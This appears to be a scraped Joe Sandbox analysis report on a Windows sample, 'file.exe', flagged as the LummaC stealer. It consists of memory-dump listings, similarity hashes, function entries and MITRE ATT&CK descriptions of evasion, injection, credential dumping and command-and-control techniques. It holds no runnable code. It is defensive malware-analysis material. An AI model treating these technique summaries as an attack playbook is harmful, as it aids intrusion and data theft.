Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 61ed95c3232e73a7d7dd83d5c95947feeeff6ce49d81ebd865b1fafae7bbf635
Instruction ID: fc03d6327dd836eee77c58e0ec026f06c0016c065a071a5449fc2a5d4a0e82d9
Opcode Fuzzy Hash: 61ed95c3232e73a7d7dd83d5c95947feeeff6ce49d81ebd865b1fafae7bbf635
Instruction Fuzzy Hash: 2AF082BA808115CBD700AF38D45A67E77A0EF10301F320E2DD996D7A90DA364D34CB83

Function 0096E609 Relevance: 1.3, APIs: 1, Instructions: 19
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0096EE0D

Memory Dump Source

Source File: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 73cac64d0f5d0fec4c1ba78cce21c71ac92086e0ef978ebf963050fa167127f7
Instruction ID: d935e8e0cd25a8d54ce112996846d8ffeadf708be251cd7c36dc803900d1d1f0
Opcode Fuzzy Hash: 73cac64d0f5d0fec4c1ba78cce21c71ac92086e0ef978ebf963050fa167127f7
Instruction Fuzzy Hash: FEE0B6B40485099FE305AF24C896A7FB7A8EB14354F110C2EAAC392690D6761860DA26

Non-executed Functions

Function 00AFDC5E Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a10d99bcfe3c85231e626fba29c6b8b6006b9846b05ae5abf6432c0e3ee63ee
Instruction ID: 2c5b277abec63ab37c06ac24d382fb88c0ef2002269d2e1cd23ffcf2a59ca941
Opcode Fuzzy Hash: 5a10d99bcfe3c85231e626fba29c6b8b6006b9846b05ae5abf6432c0e3ee63ee
Instruction Fuzzy Hash: 35E04F36105141AAC700DF55D84599FFBF4FF19311F259885E844CB662C2354841CB2A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4EIXPY3PJ1MHC0SHPSNPXSN.exe.log

C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 04D815D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 00AE7E90 Relevance: 1.6, APIs: 1, Instructions: 107
libraryCOMMON

Function 04D815C4 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 04D80D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04D80D43 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Function 04D81510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04D81509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Function 04D81301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 04D81308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00AF7D11 Relevance: 1.5, APIs: 1, Instructions: 10
libraryCOMMON

Function 00AE7FD7 Relevance: 1.5, APIs: 1, Instructions: 10
libraryCOMMON

Function 0096E676 Relevance: 1.3, APIs: 1, Instructions: 26
memoryCOMMON

Function 0096E609 Relevance: 1.3, APIs: 1, Instructions: 19
memoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

